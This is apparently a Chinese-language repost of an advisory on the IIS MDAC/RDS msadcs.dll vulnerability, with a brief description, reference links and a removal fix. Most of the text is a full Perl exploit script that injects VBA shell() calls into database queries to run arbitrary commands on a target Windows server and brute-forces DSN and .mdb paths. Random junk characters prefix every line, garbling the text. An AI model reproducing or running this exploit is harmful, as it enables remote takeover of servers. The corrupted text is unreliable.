IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
] F) -}
^zluO 涉及程序：
Gv2./<{# Microsoft NT server
R.WsC bU c%,6L <[ 描述：
*U^\Mwp 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}SvWC8 dmMr8- w 详细：
uP'w.nA&2 如果你没有时间读详细内容的话，就删除:
~[/c'3+4qn c:\Program Files\Common Files\System\Msadc\msadcs.dll
F SZoT! 有关的安全问题就没有了。
- D^y)
UFY~D"% / 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
]TZWF L- R (Pa Q 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
9^*YYK}% 关于利用ODBC远程漏洞的描述，请参看:
G yM%vGl
3 jO
N}&/ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |[7 $) $ p:>? 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
ymVd9 4L http://www.microsoft.com/security/bulletins/MS99-025faq.asp
KGwL09) _N #3lU? 这里不再论述。
;Sl0kSu P\0%nyOG(% 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
wgP3&4cSUc Wk#-LkI /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!w\;Q8irN 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
s31_3?Vdf, Bo(l !G g;Q^_4@ #将下面这段保存为txt文件，然后: "perl -x 文件名"
{h+E&u[zL "/h"Xg>q #!perl
s-S"\zX\D #
0c6AQP"=V # MSADC/RDS 'usage' (aka exploit) script
i4C b&h^ #
w3UJw # by rain.forest.puppy
t|"d#5' #
^G<M+R F2J # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
g' U^fN # beta test and find errors!
P Y<V t[oc p;Q use Socket; use Getopt::Std;
[zd-=.:+M[ getopts("e:vd:h:XR", \%args);
R@aT=\u+ }H^^v[4 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
A0sW 9P6 F B y8Tw;aL if (!defined $args{h} && !defined $args{R}) {
FLOJ print qq~
F=c_PQO Usage: msadc.pl -h <host> { -d <delay> -X -v }
u;1NhD<n -h <host> = host you want to scan (ip or domain)
f^)nZ:~ -d <seconds> = delay between calls, default 1 second
Q'M Ez -X = dump Index Server path table, if available
3!UP>,! -v = verbose
3`q`W9 -e = external dictionary file for step 5
oob0^}^ aJ@qB9(ZBe Or a -R will resume a command session
]}c=U@D,9 . M $D ~; exit;}
a{.n(M pD/S\E0@t $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9}_f\B s if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
DYl{{ L8@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
`t 2! M\) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
CU&,Kq @ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9xp
;$ 14 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y)R ikF > O:R{4Q*5 if (!defined $args{R}){ $ret = &has_msadc;
U<gw<[>f die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
_/\H3 Y>~zt - print "Please type the NT commandline you want to run (cmd /c assumed):\n"
cK@K\A E . "cmd /c ";
OaWq8MIZ- $in=<STDIN>; chomp $in;
K rzM] x $command="cmd /c " . $in ;
)j*qGsOg :UciFIa if (defined $args{R}) {&load; exit;}
((q(Q9(F je% 12DM print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=? aB@& &try_btcustmr;
,' B=eY, gC 4#!P print "\nStep 2: Trying to make our own DSN...";
(k45k/PAP &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
-6>rR{z r&RSQHa) print "\nStep 3: Trying known DSNs...";
^Y |s^N &known_dsn;
=c 4U%d2 J6P
Tkm}^ print "\nStep 4: Trying known .mdbs...";
|XZf:}q5: &known_mdb;
u9(AT>HxT C(hg"_W ou if (defined $args{e}){
+ k:?;ZG print "\nStep 5: Trying dictionary of DSN names...";
?Fv(4g &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Lo 4t:H& h^, a 1' print "Sorry Charley...maybe next time?\n";
1jVcL)szU exit;
u>#'Y+7 N"y4#W(Z@ ##############################################################################
MG>;|*$ % ,//=y W sub sendraw { # ripped and modded from whisker
=G6@:h= sleep($delay); # it's a DoS on the server! At least on mine...
|7'W)s5. my ($pstr)=@_;
GK+w1%6) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`SrVMb( die("Socket problems\n");
sqRu qUj+ if(connect(S,pack "SnA4x8",2,80,$target)){
4Rq"xYGXh select(S); $|=1;
Z0KA4O$eL print $pstr; my @in=<S>;
k9 ]n/ select(STDOUT); close(S);
!}?]&[N= return @in;
J$[ Vm%56 } else { die("Can't connect...\n"); }}
Sa5 y7
s5 e} X: ##############################################################################
4G ?k31,k dZ Z/( oE> sub make_header { # make the HTTP request
g-36Q~ `9v my $msadc=<<EOT
)-gyDA POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
DK;-2K User-Agent: ACTIVEDATA
g= 8e.Y*Fr Host: $ip
?Fu., srt Content-Length: $clen
5N0H^ Connection: Keep-Alive
g> f394j $-73}[UA 4 ADCClientVersion:01.06
`PfC:L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
]vMft? x`&W[AA4 --!ADM!ROX!YOUR!WORLD!
}$jIvb,3? Content-Type: application/x-varg
`^ok5w"oi Content-Length: $reqlen
aL}_j#m{ v3Kqs:"\ EOT
AsOI`@FV ; $msadc=~s/\n/\r\n/g;
~7g6o^A> return $msadc;}
Sr IynO F44")fY ##############################################################################
#q%/~-Uk Q>$v~v? 9 sub make_req { # make the RDS request
b._pG (o1 my ($switch, $p1, $p2)=@_;
e6Y0G,K my $req=""; my $t1, $t2, $query, $dsn;
]h6 <o* tEl_A"^e if ($switch==1){ # this is the btcustmr.mdb query
}<p%PyM $query="Select * from Customers where City=" . make_shell();
I]58;|J $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
L 'y+^L|X $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%o>1$f] b.(^CYYQ elsif ($switch==2){ # this is general make table query
7JbrIdDl| $query="create table AZZ (B int, C varchar(10))";
=zdRoXBY[b $dsn="$p1";}
,
{^g}d8 1ARI Z;H elsif ($switch==3){ # this is general exploit table query
n7vi@^lf( $query="select * from AZZ where C=" . make_shell();
:v`o=" $dsn="$p1";}
ja2LXM MeC@+@C elsif ($switch==4){ # attempt to hork file info from index server
u56cT/J 1 $query="select path from scope()";
c{[WOrA~# $dsn="Provider=MSIDXS;";}
V.qB3 V$ $|KbjpQ elsif ($switch==5){ # bad query
3 8 F8(QU{ $query="select";
C' Q} Z_ $dsn="$p1";}
NR" Xn7G hz!.|U@,{< $t1= make_unicode($query);
1QThA FN $t2= make_unicode($dsn);
:|bPr_&U$ $req = "\x02\x00\x03\x00";
{>#Ya;E $req.= "\x08\x00" . pack ("S1", length($t1));
*:iFhKFU $req.= "\x00\x00" . $t1 ;
JdE=!~\8 $req.= "\x08\x00" . pack ("S1", length($t2));
R/=yS7@{) $req.= "\x00\x00" . $t2 ;
zrcSPh $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
9"[#\TW9Vb return $req;}
S[Et!gj: /n_N`VJ7H ##############################################################################
HjrCX>v lq7 4Fz&( sub make_shell { # this makes the shell() statement
^c*'O0y[D return "'|shell(\"$command\")|'";}
) 9s[-W,e CAk.2C / ##############################################################################
+NQw ^!0qy B--`=@IRf" sub make_unicode { # quick little function to convert to unicode
3LG)s :p$/ my ($in)=@_; my $out;
z[th@!3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
B|tP 3< return $out;}
cOc m9m# 5=eGiF;0 \ ##############################################################################
Q/':<QY :EZTJu sub rdo_success { # checks for RDO return success (this is kludge)
[dL#0~CL$ my (@in) = @_; my $base=content_start(@in);
MOXDR if($in[$base]=~/multipart\/mixed/){
2!A/]:[F return 1 if( $in[$base+10]=~/^\x09\x00/ );}
d:3G4g return 0;}
WK-WA$7 \ 6H@=O 1W ##############################################################################
=4G9ev
4 Hc71 .rqS sub make_dsn { # this makes a DSN for us
krgs mDi7 my @drives=("c","d","e","f");
_15r!RZ:1 print "\nMaking DSN: ";
:2La, foreach $drive (@drives) {
I_Q '+d print "$drive: ";
Jf 2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
6 LC*X "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
F[LBQI`zq . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
RX '(
l $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
HA| YLj?|g return 0 if $2 eq "404"; # not found/doesn't exist
M*nfWQ
a if($2 eq "200") {
dI3U*:$X
foreach $line (@results) {
dLLF#N return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
)!'SSVaRs } return 0;}
ds`a6>746 bV} 43zI. ##############################################################################
vI4St; t ;(kSg. sub verify_exists {
wJip{ my ($page)=@_;
{{j?3O // my @results=sendraw("GET $page HTTP/1.0\n\n");
Wcbb3N$+ return $results[0];}
+PjH2 ? r^ +- ##############################################################################
0e&Vvl4DK |dXmg13( - sub try_btcustmr {
S~hNSw (- my @drives=("c","d","e","f");
-[Q%Vv!8 my @dirs=("winnt","winnt35","winnt351","win","windows");
&q>=6sQvf \59+JLmP4 foreach $dir (@dirs) {
rk `x81 print "$dir -> "; # fun status so you can see progress
+h"RXwlBM foreach $drive (@drives) {
|d K_^~;o print "$drive: "; # ditto
UW!!! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
lf&g *%?1 $reqlenlen=length( "$reqlen" );
]h,XRD K $clen= 206 + $reqlenlen + $reqlen;
+v/_R{ M 9 u{#S}c` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
~!\n if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
|nIm$ p' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
7i`8 c =. :`25@<*u ##############################################################################
-W2 !_ L]cZPfI6 sub odbc_error {
a8''t_Dp my (@in)=@_; my $base;
vk&C'&uV9@ my $base = content_start(@in);
ULj'DzlfH if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
wj /OYnMw $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}sZme3*J[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y]yp8Bs+ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&Nl : return $in[$base+4].$in[$base+5].$in[$base+6];}
l-g+E{ZM print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Hn+w1v&3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
'(4$h3-gv7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
jNBv y1 EA8K*>'pv ##############################################################################
|p}qK
Fdi /z9oPIJ=* sub verbose {
h.(CAm%Y7 my ($in)=@_;
w-LMV>+6| return if !$verbose;
l.Iov?e1S print STDOUT "\n$in\n";}
|hk?'WGc`0 gq\ulLyOeZ ##############################################################################
LR|L P)I 6 SJ sub save {
H:TRJ.!w2 my ($p1, $p2, $p3, $p4)=@_;
ju~j s open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Sxa+ "0d6 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
E|P close OUT;}
O0[.*xG 5srj|'ja ##############################################################################
#-r,;
74i sub load {
}}y~\TB~} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~`~mnlN open(IN,"<rds.save") || die("Couldn't open rds.save\n");
))JbROBU, @p=<IN>; close(IN);
~\<aj(m(| $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
7 #wdBB% $target= inet_aton($ip) || die("inet_aton problems");
[<C Ih46S. print "Resuming to $ip ...";
os 9X)G $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
8K$q6V %# if($p[1]==1) {
lC) :$W $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
gJz~~g' $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
MZ]# 9/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Pv,Q*gh` if (rdo_success(@results)){print "Success!\n";}
LX5, _ `B else { print "failed\n"; verbose(odbc_error(@results));}}
]#x!mZ! elsif ($p[1]==3){
b+7!$ if(run_query("$p[3]")){
Y=94<e[f" print "Success!\n";} else { print "failed\n"; }}
n o ).70K elsif ($p[1]==4){
M@%$9N)gd if(run_query($drvst . "$p[3]")){
KElzYZl8 print "Success!\n"; } else { print "failed\n"; }}
99)m d exit;}
3z5w}qN] M W(.q. Sx> ##############################################################################
>. .C^8 " m$6u K0 sub create_table {
F6, [!.wl my ($in)=@_;
<O+T 4.z $reqlen=length( make_req(2,$in,"") ) - 28;
;]XK e') $reqlenlen=length( "$reqlen" );
G>Uam TM $clen= 206 + $reqlenlen + $reqlen;
pH!e<m my @results=sendraw(make_header() . make_req(2,$in,""));
MOp06 return 1 if rdo_success(@results);
fg}&= r my $temp= odbc_error(@results); verbose($temp);
C
0@tMB7 return 1 if $temp=~/Table 'AZZ' already exists/;
MhT.Zg\ return 0;}
Y;n;7M<F P4 H%pm{- ##############################################################################
2g?O+'JD 8y:c3j zP_ sub known_dsn {
33/aYy # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
g<d#zzP"T my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
A|Z'\D0 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
o$ disJ "banner", "banners", "ads", "ADCDemo", "ADCTest");
CI%4!K;{ uv>T8(w foreach $dSn (@dsns) {
n_ORD@$] print ".";
p{c+ +P5 next if (!is_access("DSN=$dSn"));
ii,/omn: if(create_table("DSN=$dSn")){
wX7|a/|@ print "$dSn successful\n";
yhwwF
n\ if(run_query("DSN=$dSn")){
`GGACH3# s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$d:>(_p=A print "Something's borked. Use verbose next time\n";}}} print "\n";}
L&*/ s&>b X%1j-;Wr@ ##############################################################################
kta`[%KmIZ AC'$~4 sub is_access {
7=V s1TVc my ($in)=@_;
6@ N?`6Bt $reqlen=length( make_req(5,$in,"") ) - 28;
r0 mXRZC $reqlenlen=length( "$reqlen" );
4^|;a0Qy] $clen= 206 + $reqlenlen + $reqlen;
Jng,:$sZ my @results=sendraw(make_header() . make_req(5,$in,""));
UM?{ba9 my $temp= odbc_error(@results);
5 *w
a verbose($temp); return 1 if ($temp=~/Microsoft Access/);
KaRdO return 0;}
&2i3"9k /d<"{\o ##############################################################################
Y bX3_N& DH@})TN*O sub run_query {
l,(Mm,3 my ($in)=@_;
SiBhf3
$reqlen=length( make_req(3,$in,"") ) - 28;
">?ocJ\9 $reqlenlen=length( "$reqlen" );
Cq -d, $clen= 206 + $reqlenlen + $reqlen;
g`('
k5= my @results=sendraw(make_header() . make_req(3,$in,""));
+s(JutC return 1 if rdo_success(@results);
N001c)*7Q my $temp= odbc_error(@results); verbose($temp);
DBUhqRfl return 0;}
M@LI (; v\LcZt`} ##############################################################################
xUp[)B6?: 0H|U 9 sub known_mdb {
N;)Y+amg^ my @drives=("c","d","e","f","g");
iymOq9 my @dirs=("winnt","winnt35","winnt351","win","windows");
?k6P H"M my $dir, $drive, $mdb;
Z @: 5vo my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}=d]ke 9_ *)PCPYB^ # this is sparse, because I don't know of many
IB!^dhD!Q my @sysmdbs=( "\\catroot\\icatalog.mdb",
,(%?j]_P2 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
p^=>N9 "\\system32\\certmdb.mdb",
8|\0\Wd;vu "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
:j sa.X Y5J}*`[Mr my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
`vkNp8| "\\cfusion\\cfapps\\forums\\forums_.mdb",
[gZz'q&[) "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
XET'XJWF% "\\cfusion\\cfapps\\security\\realm_.mdb",
vY+{zGF "\\cfusion\\cfapps\\security\\data\\realm.mdb",
TB=KT j "\\cfusion\\database\\cfexamples.mdb",
vrS)VJg` "\\cfusion\\database\\cfsnippets.mdb",
H<^*V8J 'w "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
!^o(?1 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
QQQ3U "\\cfusion\\brighttiger\\database\\cleam.mdb",
OH z>B!` "\\cfusion\\database\\smpolicy.mdb",
P>*g'OK^!G "\\cfusion\\database\cypress.mdb",
%SWtE5HZQq "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
KJ7[DN'( "\\website\\cgi-win\\dbsample.mdb",
1x\Vz\ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
rZ.,\ X_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
I yo ey ); #these are just
t>04nN_@,s foreach $drive (@drives) {
/ 7EeM{,~ foreach $dir (@dirs){
$!+t2P@d.5 foreach $mdb (@sysmdbs) {
RVlAWw( print ".";
aJ nZco6 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
>e]46 K print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.JR"|;M} if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(kECV8)2 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
qr5ME/)z } else { print "Something's borked. Use verbose next time\n"; }}}}}
N8$ MAW /+FZDRf!r foreach $drive (@drives) {
D$sG1*@s- foreach $mdb (@mdbs) {
b4_"dg~gK print ".";
Q?Au.q], if(create_table($drv . $drive . $dir . $mdb)){
O2W EA print "\n" . $drive . $dir . $mdb . " successful\n";
ya+eGD@N': if(run_query($drv . $drive . $dir . $mdb)){
\ u|8MEB print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
9Y9 pKTU } else { print "Something's borked. Use verbose next time\n"; }}}}
2r+@ s g }
ELx?ph -9 Q77iMb] ##############################################################################
p[ Z'Fl rcc.FS sub hork_idx {
e/;1<5tfj print "\nAttempting to dump Index Server tables...\n";
UOWOOdWS B print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
8}Pd- .se $reqlen=length( make_req(4,"","") ) - 28;
fk(l .A$ $reqlenlen=length( "$reqlen" );
sFR'y. $clen= 206 + $reqlenlen + $reqlen;
8[\(*E}d!X my @results=sendraw2(make_header() . make_req(4,"",""));
l)PEg PSRV if (rdo_success(@results)){
>R5qhVYFb my $max=@results; my $c; my %d;
PB
!\r}Q for($c=19; $c<$max; $c++){
'o2V}L'nG $results[$c]=~s/\x00//g;
YF{ KSGq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6B4s6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
vXUrS+~x $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
XxW ~4< r $d{"$1$2"}="";}
(t.pM P4 foreach $c (keys %d){ print "$c\n"; }
Zi+>#kDV } else {print "Index server doesn't seem to be installed.\n"; }}
~I0I#_$'P B_u+$Odo ##############################################################################
&Wj
%`T{ .x __X3P>\ sub dsn_dict {
l}>g G[q! open(IN, "<$args{e}") || die("Can't open external dictionary\n");
NT~L=x sY while(<IN>){
7)S ;VG k $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"Ru H"~o next if (!is_access("DSN=$dSn"));
C 9-90,
if(create_table("DSN=$dSn")){
Dk#$PjcRE print "$dSn successful\n";
MSPzOJQPy if(run_query("DSN=$dSn")){
YW@A d print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jWb;Xk4 print "Something's borked. Use verbose next time\n";}}}
s[:e '#^ print "\n"; close(IN);}
f-5vE9G3y7 oB27Y&nO ##############################################################################
l?_Iu_Qp LC5NB{b\%> sub sendraw2 { # ripped and modded from whisker
5S'89 r 3m sleep($delay); # it's a DoS on the server! At least on mine...
.63:G< my ($pstr)=@_;
Q9)/INh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
']1j M n die("Socket problems\n");
vBCQ-l<Ub if(connect(S,pack "SnA4x8",2,80,$target)){
% 'Ebm print "Connected. Getting data";
uW!',"0ER open(OUT,">raw.out"); my @in;
bLoAtI select(S); $|=1; print $pstr;
xn(lkQ6Fm while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[*w ^|b ? close(OUT); select(STDOUT); close(S); return @in;
;1}~(I#Y } else { die("Can't connect...\n"); }}
s =Pwkte tG(?Pm Q ##############################################################################
hZ!N8nWwNR & ; 5QB sub content_start { # this will take in the server headers
s%"3F<\ my (@in)=@_; my $c;
|XOD~Plo^ for ($c=1;$c<500;$c++) {
Iq.*2aff+ if($in[$c] =~/^\x0d\x0a/){
y/rmxQtP if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
W 4Nbl else { return $c+1; }}}
si,fs%D& return -1;} # it should never get here actually
x9R_KLN:; wQJY,|. ##############################################################################
Z p]{e6J o :jLM7$= sub funky {
Xu $_%+46 my (@in)=@_; my $error=odbc_error(@in);
`|e?91@vEa if($error=~/ADO could not find the specified provider/){
4ihv|%@ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
OoTMvZP[ exit;}
7H~StdL/> if($error=~/A Handler is required/){
, 2S w6u print "\nServer has custom handler filters (they most likely are patched)\n";
_3- nw exit;}
.t|vwx if($error=~/specified Handler has denied Access/){
!Vl>?U? AN print "\nServer has custom handler filters (they most likely are patched)\n";
5xL%HX[S exit;}}
5CH9m[S |&lAt \ ##############################################################################
9{\e E]0 vQ"EI1=7Z sub has_msadc {
K0_/;a] | my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
`J \1t
K{ my $base=content_start(@results);
Dz;^' return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
K*jV=lG return 0;}
7 sZVN F`g oYwA% ########################
.dwb@$ 6T 0[
~@g5 9MA/nybI 解决方案：
v`evuJ\3 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
YqwD vJWX 2、移除web 目录: /msadc
